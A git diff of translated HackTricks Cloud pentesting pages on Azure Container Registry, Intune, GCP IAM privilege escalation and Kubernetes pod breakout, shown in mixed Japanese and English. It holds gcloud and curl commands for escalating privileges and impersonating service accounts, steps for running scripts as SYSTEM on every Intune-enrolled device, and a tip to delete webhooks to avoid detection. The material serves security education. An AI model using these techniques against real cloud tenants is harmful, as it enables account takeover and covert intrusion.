を取得する。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index f51837d2d..ed7012beb 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -4,37 +4,37 @@ ## 基本情報 -Azure Container Registry (ACR) は、**Azure クラウド内でコンテナイメージを保存、管理、アクセスする**ための安全でプライベートなレジストリです。いくつかの Azure サービスとシームレスに統合され、大規模な自動ビルドおよびデプロイワークフローを提供します。地理的レプリケーションや脆弱性スキャンなどの機能を備えた ACR は、コンテナ化されたアプリケーションのエンタープライズグレードのセキュリティとコンプライアンスを確保するのに役立ちます。 +Azure Container Registry (ACR) は、Azure cloud 内で **container images を保存、管理、アクセス** できる安全な private registry です。複数の Azure services とシームレスに統合され、スケールに応じた自動 build および deployment workflow を提供します。geo-replication や vulnerability scanning のような機能により、ACR は containerized applications に対して enterprise-grade の security と compliance を確保するのに役立ちます。 -### 権限 +### Permissions -これらは、Container Registry に対して付与できる**異なる権限**です [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager): +以下は、Container Registry に対して付与できる **異なる permissions** です [docs によると](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)： -- アクセス リソース マネージャー -- レジストリの作成/削除 -- イメージのプッシュ -- イメージのプル -- イメージデータの削除 -- ポリシーの変更 -- イメージの署名 +- Access Resource Manager +- Create/delete registry +- Push image +- Pull image +- Delete image data +- Change policies +- Sign images -また、割り当て可能な**組み込みロール**もあり、**カスタムロール**を作成することも可能です。 +また、割り当て可能な **built-in roles** もあり、**custom roles** を作成することも可能です。 -![](/images/registry_roles.png) +![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) -### 認証 +### Authentication > [!WARNING] -> レジストリ名に大文字が含まれていても、**小文字**を使用してログイン、プッシュ、プルすることが非常に重要です。 +> registry 名に大文字が含まれていても、login、push、pull では常に **小文字** を使うことが非常に重要です。 -ACR に認証する方法は 4 つあります: +ACR に authenticate する方法は 4 つあります： -- **Entra ID を使用**: これは ACR に認証するための**デフォルト**の方法です。**`az acr login`** コマンドを使用して ACR に認証します。このコマンドは、**`~/.docker/config.json`** ファイルに資格情報を**保存**します。さらに、**クラウドシェル**のように Docker ソケットにアクセスできない環境でこのコマンドを実行している場合、**`--expose-token`** フラグを使用して ACR に認証するための**トークン**を取得できます。次に、認証するにはユーザー名として `00000000-0000-0000-0000-000000000000` を使用します。例: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **管理者アカウントを使用**: 管理者ユーザーはデフォルトで無効になっていますが、有効にすることができ、その後、管理者アカウントの**ユーザー名**と**パスワード**を使用してレジストリにアクセスすることが可能になります。これは、いくつかの Azure サービスがこれを使用しているため、まだサポートされています。このユーザーには**2 つのパスワード**が作成され、どちらも有効です。`az acr update -n --admin-enabled true` で有効にできます。ユーザー名は通常、レジストリ名（`admin` ではなく）です。 -- **トークンを使用**: レジストリにアクセスするための**特定の `scope map`**（権限）を持つ**トークン**を作成することが可能です。その後、トークンの名前をユーザー名として使用し、生成されたパスワードのいずれかを使用して、`docker login -u -p ` でレジストリに認証できます。 -- **サービスプリンシパルを使用**: **サービスプリンシパル**を作成し、イメージをプルするために **`AcrPull`** のようなロールを割り当てることが可能です。その後、SP appId をユーザー名として、生成されたシークレットをパスワードとして使用して、**レジストリにログイン**できます。 +- **With Entra ID**: これは ACR への authenticate の **default** な方法です。ACR への authenticate に **`az acr login`** コマンドを使います。このコマンドは **credentials** を **`~/.docker/config.json`** ファイルに **保存** します。さらに、**cloud shell** のように docker socket へアクセスできない環境からこのコマンドを実行している場合は、**`--expose-token`** フラグを使って ACR に authenticate するための **token** を取得できます。その後、authenticate するには user name として `00000000-0000-0000-0000-000000000000` を使い、次のようにします: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **With an admin account**: admin user は default では disabled ですが、enable すると registry に対する full permissions を持つ admin account の **username** と **password** で registry に access できるようになります。これは一部の Azure services が使うため、今でも supported です。この user には **2 passwords** が作成され、どちらも有効です。`az acr update -n --admin-enabled true` で enable できます。username は通常 registry 名であり（`admin` ではありません）、注意してください。 +- **With a token**: registry に access するために、特定の **`scope map`**（permissions）を持つ **token** を作成できます。その後、token 名を username とし、生成された password のいずれかを使って `docker login -u -p ` で registry に authenticate できます +- **With a Service Principal**: **service principal** を作成し、image を pull するために **`AcrPull`** のような role を割り当てることができます。その後、SP appId を username、生成された secret を password として使い、**registry に login** できるようになります。 -レジストリへのアクセスを持つ SP を生成するための [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) からの例のスクリプト: +registry への access を持つ SP を生成するための [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) の example script: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app echo "Service principal ID: $USER_NAME" echo "Service principal password: $PASSWORD" ``` -### 暗号化 +### Encryption -**Premium SKU** のみが、画像やその他のアーティファクトの **静止時の暗号化** をサポートしています。 +**Premium SKU** のみが、イメージおよびその他のアーティファクトに対する **at rest での encryption** をサポートします。 -### ネットワーキング +### Networking -**Premium SKU** のみが **プライベートエンドポイント** をサポートしています。他のSKUは **パブリックアクセス** のみをサポートしています。パブリックエンドポイントは `.azurecr.io` の形式で、プライベートエンドポイントは `.privatelink.azurecr.io` の形式です。このため、レジストリの名前はすべてのAzureで一意である必要があります。 +**Premium SKU** のみが **private endpoints** をサポートします。その他は **public access** のみサポートします。public endpoint の形式は `.azurecr.io` で、private endpoint の形式は `.privatelink.azurecr.io` です。このため、registry の名前は Azure 全体で一意でなければなりません。 ### Microsoft Defender for Cloud -これにより、レジストリ内の **画像をスキャン** して **脆弱性** を検出できます。 +これにより、registry 内の **images** を **vulnerabilities** について **scan** できます。 -### ソフトデリート +### Soft-delete -**ソフトデリート** 機能により、指定された日数内に **削除されたレジストリを復元** できます。この機能は **デフォルトで無効** になっています。 +**soft-delete** 機能により、指定された日数内であれば **deleted registry** を **recover** できます。この機能は **default では disabled** です。 -### ウェブフック +### Webhooks -レジストリ内に **ウェブフックを作成** することが可能です。このウェブフックでは、**プッシュまたは削除アクションが実行されるたびにリクエストが送信されるURL** を指定する必要があります。さらに、ウェブフックは影響を受けるリポジトリ（画像）を示すスコープを指定できます。例えば、'foo:\*' はリポジトリ 'foo' の下のイベントを意味します。 +registry 内に **webhooks** を **create** することができます。この webhook では、**push または delete action が行われるたびに request が送信される URL** を指定する必要があります。さらに、Webhooks では scope を指定して、影響を受ける repositories (images) を示すことができます。たとえば、'foo:\*' は repository 'foo' 配下の events を意味します。 -攻撃者の視点からは、レジストリ内で **アクションを実行する前にこれを確認** し、必要に応じて一時的に削除して検出を避けることが興味深いです。 +攻撃者の視点では、registry で **any action を実行する前に** これを確認し、必要であれば一時的に削除して、検知されるのを避けるのが有用です。 -### 接続されたレジストリ +### Connected registries -これは基本的に、通常はオンプレミスにある別のレジストリから **画像をミラーリング** することを可能にします。 +これは基本的に、ある registry から別の registry へ **images を mirror** するもので、通常は on-premises にあります。 -2つのモードがあります: **ReadOnly** と **ReadWrite**。最初のモードでは、画像はソースレジストリからのみ **プル** され、2番目のモードでは、画像をソースレジストリに **プッシュ** することもできます。 +モードは 2 つあります: **ReadOnly** と **ReadWrite**。前者では images は source registry からのみ **pulled** され、後者では images を source registry に **pushed** することもできます。 -クライアントがAzureからレジストリにアクセスするためには、接続されたレジストリが使用されるときに **トークン** が生成されます。 +clients が Azure から registry にアクセスできるようにするため、connected registry が使用されると **token** が生成されます。 -### 実行とタスク +### Runs & Tasks -実行とタスクは、通常ローカルまたはCI/CDパイプラインで行う必要があるAzureコンテナ関連のアクションを実行することを可能にします。例えば、レジストリ内で **画像をビルド、プッシュ、実行** できます。 +Runs & Tasks により、通常はローカルや CI/CD pipeline で行う必要があった Azure container 関連の actions を実行できます。たとえば、registry 内で images を **build, push, and run** できます。 -コンテナをビルドして実行する最も簡単な方法は、通常の実行を使用することです: +container を build して run する最も簡単な方法は、通常の Run を使うことです: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -しかし、それは攻撃者の視点からはあまり興味深くない実行をトリガーします。なぜなら、それらには管理されたアイデンティティが付いていないからです。 +しかし、それだと managed identity が紐づいていないため、攻撃者の観点ではあまり面白くない runs が発生します。 -しかし、**tasks** には **system and user managed identity** を付けることができます。これらのタスクは、コンテナ内で **escalate privileges** に役立ちます。特権昇格のセクションでは、タスクを使用して特権を昇格させる方法を見ることができます。 +しかし、**tasks** には **system と user managed identity** を紐づけることができます。container 内で **privileges を escalate** するのに有用なのはこれらの tasks です。privileges escalation のセクションでは、tasks を使って privileges を escalate する方法を見ることができます。 ### Cache -キャッシュ機能は、**download images from an external repository** を行い、新しいバージョンをレジストリに保存することを可能にします。Azure Vaultから資格情報を選択することで、いくつかの **credentials configured** を持つ必要があります。 +cache 機能では、**external repository から images を download** して、新しい versions を registry に保存できます。これには、Azure Vault から credentials を選択して、いくつかの **credentials を設定** する必要があります。 -これは攻撃者の視点から非常に興味深いです。なぜなら、攻撃者が資格情報にアクセスするのに十分な権限を持っている場合、**pivot to an external platform** を可能にし、**download images from an external repository** を行い、キャッシュを構成することは **persistence mechanism** としても使用できるからです。 +これは攻撃者の観点から非常に興味深いです。なぜなら、攻撃者が credentials にアクセスするのに十分な permissions を持っていれば、**external platform へ pivot** でき、**external repository から images を download** できるからです。また、cache の設定は **persistence mechanism** としても使えます。 ## Enumeration > [!WARNING] -> レジストリ名に大文字が含まれていても、アクセスするためのURLには小文字のみを使用することが非常に重要です。 +> registry 名に大文字が含まれていても、アクセスするための url では必ず小文字のみを使う必要があることは非常に重要です。 ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -143,19 +143,19 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## 認証されていないアクセス +## 認証なしアクセス {{#ref}} ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md {{#endref}} -## 権限昇格とポストエクスプロイト +## 権限昇格 & Post Exploitation {{#ref}} ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} -## 参考文献 +## 参考 - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) diff --git a/src/pentesting-cloud/azure-security/az-services/intune.md b/src/pentesting-cloud/azure-security/az-services/intune.md index 3eeb9f26f..5bb648326 100644 --- a/src/pentesting-cloud/azure-security/az-services/intune.md +++ b/src/pentesting-cloud/azure-security/az-services/intune.md @@ -4,25 +4,25 @@ ## 基本情報 -Microsoft Intuneは、**アプリとデバイス管理**のプロセスを効率化するように設計されています。その機能は、モバイルデバイス、デスクトップコンピュータ、仮想エンドポイントを含む多様なデバイスにわたります。Intuneのコア機能は、**ユーザーアクセスの管理と、組織のネットワーク内でのアプリケーション**およびデバイスの管理を簡素化することにあります。 +Microsoft Intune は、**app と device management** のプロセスを効率化するために設計されています。その機能は、mobile devices、desktop computers、virtual endpoints を含む多様な device にまたがります。Intune の中核機能は、**user access の管理** と、organization の network 内での applications および devices の管理を簡素化することにあります。 -## クラウド -> オンプレミス +## Cloud -> On-Prem -**グローバル管理者**または**Intune管理者**の役割を持つユーザーは、任意の**登録されたWindows**デバイスで**PowerShell**スクリプトを実行できます。\ -**スクリプト**は、変更がない限りデバイス上で**SYSTEM**の**特権**で一度だけ実行され、Intuneからは**スクリプトの出力を確認することはできません**。 +**Global Administrator** または **Intune Administrator** role を持つ user は、任意の **enrolled Windows** device 上で **PowerShell** scripts を実行できます。\ +**script** は変更されない場合、その device 上で 1 回だけ **SYSTEM** の **privileges** で実行され、Intune からはその **script** の output を **見ることはできません**。 ```bash Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" ``` -1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) にログインするか、Pass-The-PRTを使用します。 -2. **デバイス** -> **すべてのデバイス** に移動して、Intuneに登録されているデバイスを確認します。 -3. **スクリプト** に移動し、Windows 10のために **追加** をクリックします。 -4. **Powershellスクリプト** を追加します。 -- ![](<../../../images/image (264).png>) -5. **割り当て** ページで **すべてのユーザーを追加** と **すべてのデバイスを追加** を指定します。 +1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) に Login するか、Pass-The-PRT を使用する +2. **Devices** -> **All Devices** に移動して、Intune に enrolled された devices を確認する +3. **Scripts** に移動し、Windows 10 用に **Add** をクリックする。 +4. **Powershell script** を追加する +- ![Microsoft Intune script settings page for adduser.ps1 with logged-on credentials and signature checks disabled](<../../../images/image (264).png>) +5. **Assignments** page で **Add all users** と **Add all devices** を指定する。 -スクリプトの実行には最大で **1時間** かかる場合があります。 +スクリプトの execution には **one hour** までかかることがある。 -## 参考文献 +## References - [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md index 2b1b6a509..ed97e1f0d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -IAMに関する詳細は以下を参照してください: +IAM についての詳細は以下を参照: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md @@ -12,16 +12,16 @@ IAMに関する詳細は以下を参照してください: ### `iam.roles.update` (`iam.roles.get`) -上記の権限を持つattackerは、あなたに割り当てられたロールを更新し、他のリソースに対する追加の権限をあなたに付与できるようになります： +前述の権限を持つ attacker は、あなたに割り当てられた role を更新し、次のような他の resource への追加権限を付与できます: ```bash gcloud iam roles update --project --add-permissions ``` -vuln environment の creation、exploit、および cleaning を自動化するスクリプトは **こちら** にあり、python スクリプトでこの特権を悪用するものは [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) にあります。詳しくは [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) をご覧ください。 +この脆弱な環境の**作成、exploit、クリーンアップを自動化するスクリプトはこちら**、またこの権限を悪用する python スクリプトは[**ここ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を確認してください。 ```bash gcloud iam roles update --project --add-permissions ``` ### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy` -`iam.roles.create` の権限は、プロジェクトや組織内でカスタムロールを作成できるようにします。攻撃者の手に渡ると危険で、後にエンティティに割り当てられる（例えば `iam.serviceAccounts.setIamPolicy` 権限を使用して）ことで権限昇格を目的とした新しい権限セットを定義できてしまいます。 +iam.roles.create 権限は、project/organization 内で custom roles を作成することを許可します。攻撃者の手に渡ると、これは危険です。なぜなら、後で entity に割り当て可能な新しい permissions のセットを定義できるようになるためです（たとえば、iam.serviceAccounts.setIamPolicy 権限を使用して）。その目的は privilege escalation です。 ```bash gcloud iam roles create \ --project= \ @@ -31,9 +31,9 @@ gcloud iam roles create \ ``` ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`) -前述の権限を持つ攻撃者は、**Service Account に属する access token をリクエストできる**ため、自分より権限の高い Service Account の access token を取得できる可能性があります。 +前述の権限を持つ attacker は、**Service Account に属する access token を要求**できるため、こちらよりも高い権限を持つ Service Account の access token を要求することが可能です。 -攻撃者制御下のコードが metadata service から **managed Vertex AI Agent Engine runtime token** を盗み、Vertex AI service agent として再利用するような **resource-driven** バリアントについては、次を参照してください: +attacker-controlled code が metadata service から **managed Vertex AI Agent Engine runtime token** を盗み、それを Vertex AI service agent として再利用する **resource-driven** 変種については、以下を確認してください: {{#ref}} ../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -42,27 +42,23 @@ gcloud iam roles create \ gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token ``` -You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +[**脆弱な環境の作成、exploit、クリーンアップを自動化するスクリプトはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) と、この権限を悪用する python スクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)です。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を確認してください。 ### `iam.serviceAccountKeys.create` -前述の権限を持つ攻撃者は、Service Account に対してユーザー管理キーを作成できるようになり、その Service Account として GCP にアクセスできるようになります。 +この権限を持つ attacker は、**Service Account の user-managed key を作成**でき、その Service Account として GCP にアクセスできるようになります。 ```bash gcloud iam service-accounts keys create --iam-account /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json ``` -You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +`iam.serviceAccounts.implicitDelegation` -注意：`iam.serviceAccountKeys.update` は SA のキーを変更するためには機能しません。キーを変更するには `iam.serviceAccountKeys.create` の権限も必要だからです。 +Service Account に対して **`iam.serviceAccounts.implicitDelegation`** 権限を持ち、その Service Account が別の Service Account に対して **`iam.serviceAccounts.getAccessToken`** 権限を持っている場合、implicitDelegation を使って**その3つ目の Service Account の token を作成**できます。以下の図で説明します。 -### `iam.serviceAccounts.implicitDelegation` +![GCP IAM implicit delegation diagram chaining Service Account A, B, and C permissions to obtain an access token](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) -もしあるサービスアカウントに対して **`iam.serviceAccounts.implicitDelegation`** 権限を持ち、かつそのサービスアカウントが第三のサービスアカウントに対して **`iam.serviceAccounts.getAccessToken`** 権限を持っている場合、implicitDelegation を使ってその第三のサービスアカウントのトークンを作成できます。説明のための図は次のとおりです。 - -![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) - -注意： [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の委任は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使用してトークンを生成する場合にのみ動作します。以下は API を直接使ってトークンを取得する方法です： +[**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の delegation は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使って token を生成する場合にのみ機能します。そこで、API を直接使って token を取得する方法は以下のとおりです: ```bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ @@ -77,19 +73,19 @@ You can find a script to automate the [**creation, exploit and cleaning of a vul ### `iam.serviceAccounts.signBlob` -該当する権限を持つ攻撃者は、GCP上で任意のペイロードに署名することができます。したがって、ターゲットのサービスアカウントの未署名のJWTを作成し、それをblobとして送信してターゲットのサービスアカウントにJWTを署名させる、ということが可能になります。詳細は[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)を参照してください。 +An attacker with the mentioned permissions will be able to **GCPで任意のpayloadをsignする**. So it'll be possible to **SAのunsigned JWTを作成し、それをblobとして送って、対象のSAによってJWTをsignしてもらう**. For more information [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signJwt` -該当する権限を持つ攻撃者は、整形式のJSON Web Token (JWT) に署名することができます。前の方法との違いは、JWTを含むblobをgoogleに署名させるのではなく、最初からJWTを期待する signJWT メソッドを使う点です。これにより使いやすくなりますが、任意のバイト列ではなくJWTのみを署名できる点に注意してください。 +An attacker with the mentioned permissions will be able to **適切に形式化されたJSON web tokens (JWTs)をsignする**. The difference with the previous method is that **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. This makes it easier to use but you can only sign JWT instead of any bytes. You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.setIamPolicy` -該当する権限を持つ攻撃者は、サービスアカウントにIAMポリシーを追加することができます。これを悪用して、サービスアカウントをインパーソネートするために必要な権限を自分に付与することが可能です。以下の例では、興味のあるサービスアカウントに対して `roles/iam.serviceAccountTokenCreator` ロールを自分に付与しています: +An attacker with the mentioned permissions will be able to **service accountsにIAM policiesを追加する**. You can abuse it to **自分自身に** the permissions you need to impersonate the service account. In the following example we are granting ourselves the `roles/iam.serviceAccountTokenCreator` role over the interesting SA: ```bash gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ --member="user:username@domain.com" \ @@ -100,47 +96,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i --member="user:username@domain.com" \ --role="roles/iam.serviceAccountUser" ``` -脆弱環境の作成、exploit、およびクリーンアップを自動化するスクリプトは[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** +[**こちらで vuln 環境の作成、exploit、クリーンアップを自動化するスクリプトを見つけられます**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** ### `iam.serviceAccounts.actAs` -The **iam.serviceAccounts.actAs permission** は **iam:PassRole permission from AWS** のようなものです。Compute Engine インスタンスの起動などの操作を、Service Account として "actAs" する能力を付与するため、権限管理上重要です。これがないと、ユーザーが不適切に権限を得る可能性があります。さらに、**iam.serviceAccounts.actAs** を悪用する手法はいくつか存在し、それぞれが複数の permissions を必要とするのに対し、他の手法は単一の権限だけで済む場合もあります。 +**iam.serviceAccounts.actAs permission** は **AWS の iam:PassRole permission** に似ています。Compute Engine インスタンスの起動のようなタスクを実行する際に重要で、Service Account に対して「actAs」する能力を与えることで、権限管理を安全にします。これがないと、ユーザーが不正に過剰なアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs** の exploit には複数の方法があり、それぞれに一連の permissions が必要です。これは、1つの permission だけで済む他の方法とは対照的です。 -#### サービスアカウントのなりすまし +#### Service account impersonation -サービスアカウントをなりすますことは、**より高い権限を取得する**上で非常に有用です。別のサービスアカウントを[impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account)する方法は次の3つです： +Service Account を impersonate することは、**新しくより強い権限を取得する**のに非常に役立ちます。別の Service Account を [impersonate する](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) 方法は3つあります: -- 認証 **using RSA private keys**（上で説明済み） -- 認可 **using Cloud IAM policies**（ここで説明） -- **Deploying jobs on GCP services**（ユーザーアカウントの侵害に関連することが多い） +- RSA private keys を使った Authentication +- Cloud IAM policies を使った Authorization +- GCP services 上で jobs をデプロイすること（user account の compromise により適しています） ### `iam.serviceAccounts.getOpenIdToken` -前述の権限を持つ攻撃者は OpenID JWT を生成できます。これらはアイデンティティを主張するために使用され、リソースに対する暗黙の権限を必ずしも伴うわけではありません。 +ここで挙げた permissions を持つ attacker は OpenID JWT を生成できます。これらは identity を証明するために使われ、resource に対する暗黙の authorization を必ずしも持ちません。 -この[**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)によれば、audience（トークンを使って認証したいサービス）を指定する必要があり、指定したサービスアカウントと JWT の audience を示す、google によって署名された JWT を受け取ります。 +この [**興味深い post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) によると、audience（token を使って authentication したい service）を指定する必要があり、google 署名付きの JWT が返されます。その JWT には service account と JWT の audience が示されます。 -アクセス権があれば、次のようにして OpenIDToken を生成できます： +以下の方法で OpenIDToken を生成できます（access がある場合）: ```bash # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` -これで、次のようにサービスにアクセスできます: +その後、次のようにしてそのまま service にアクセスできます: ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` -この種類のトークンによる認証をサポートするサービスには、次のものがあります: +この種の token による authentication をサポートするサービスには、以下があります: - [Google Cloud Run](https://cloud.google.com/run/) - [Google Cloud Functions](https://cloud.google.com/functions/docs/) - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) -- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC) +- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDC を使用している場合) -service account の代理で OpenID token を作成する方法の例は[**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。 +service account を behalf にして OpenID token を作成する方法の例は[**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。 -## 参考 +## References - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index 8fe943b8b..6c3bc2739 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -1,39 +1,39 @@ -# Pod 内部から Kubernetes を攻撃する +# Attacking Kubernetes from inside a Pod {{#include ../../banners/hacktricks-training.md}} ## **Pod Breakout** -**運が良ければ Pod から node に脱出できることがあります：** +**運が良ければ、node へ脱出できるかもしれません:** -![](https://sickrov.github.io/media/Screenshot-161.jpg) +![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg) -### Pod からの脱出 +### Escaping from the pod -Pod から脱出を試みるにはまず **escalate privileges** が必要になる場合があり、そのためのテクニックをいくつか示します： +pod から escape するためには、まず **privileges を escalate** する必要があるかもしれません。代表的な手法: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -侵害した Pod からの脱出に使える **docker breakouts to try to escape** を確認できます： +侵害済みの pod から escape するために試せる **docker breakouts** を確認できます: {{#ref}} 